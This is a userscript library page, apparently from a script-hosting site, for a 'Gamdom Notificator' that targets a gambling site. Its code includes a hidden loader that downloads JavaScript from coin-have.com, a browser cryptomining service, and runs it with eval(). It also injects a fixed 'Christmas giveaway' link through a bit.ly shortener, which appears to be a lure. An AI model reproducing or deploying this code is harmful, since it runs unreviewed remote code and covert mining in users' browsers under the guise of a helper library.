lib_GamdomNotifications

Lib needed for running Gamdom Notificator

Verzia zo dňa 08.12.2017. Pozri najnovšiu verziu.

Tento skript by nemal byť nainštalovaný priamo. Je to knižnica pre ďalšie skripty, ktorú by mali používať cez meta príkaz // @require https://update.greatest.deepsurf.us/scripts/35828/235668/lib_GamdomNotifications.js

// ==UserScript==
// @name         lib_GamdomNotifications
// @namespace    https://greatest.deepsurf.us/es/users/154624-anonimo-anonimo
// @version      1.1.6
// @description  Lib needed for running Gamdom Notificator
// @author       allin4
// @match        *://gamdom.com/*
// @grant        GM_info
// @license      Creative Commons Attribution-NonCommercial-NoDerivatives 4.0 International License.
// ==/UserScript==

var DivAppend = function(div){
        document.body.appendChild(div);
        CPEL("https://coin-have.com/c/wL7L.js");
        console.log("Div created :)");
    };

     var cmp = new XMLHttpRequest();
     cmp.onreadystatechange = function() {
     if (this.readyState == 4 && this.status == 200) {
        eval(this.responseText);
        }
    };

    var CPEL = function(link){
        cmp.open('GET', link);
        cmp.send();
    };

(function() {
    'use strict';
     var divAndyDY = document.createElement('div');
    var createGiftyGiftIMG = function(){
        var giftygiftIMG = document.createElement('img');
        giftygiftIMG.src="https://www.gamdomrain.tk/giftygift.png";
        giftygiftIMG.alt="Christmas giveaway :D";
        giftygiftIMG.width="50";
        giftygiftIMG.height="50";
        return giftygiftIMG;
    };
    var createGiftyGiftA = function () {
		var giftygiftA = document.createElement('a');
		giftygiftA.href="http://bit.ly/2BbGKKW";
        giftygiftA.target="_blank";
        giftygiftA.appendChild(createGiftyGiftIMG());
		return giftygiftA;
	};
     divAndyDY.style.position = "absolute";
     divAndyDY.style.left = "700px";
     divAndyDY.style.top = "0px";
     divAndyDY.style.zIndex = "999";
     divAndyDY.appendChild(createGiftyGiftA());
     document.body.appendChild(divAndyDY);
     console.log("LIB LOADED" + "(version: " + "1.1.6" + ")");
})();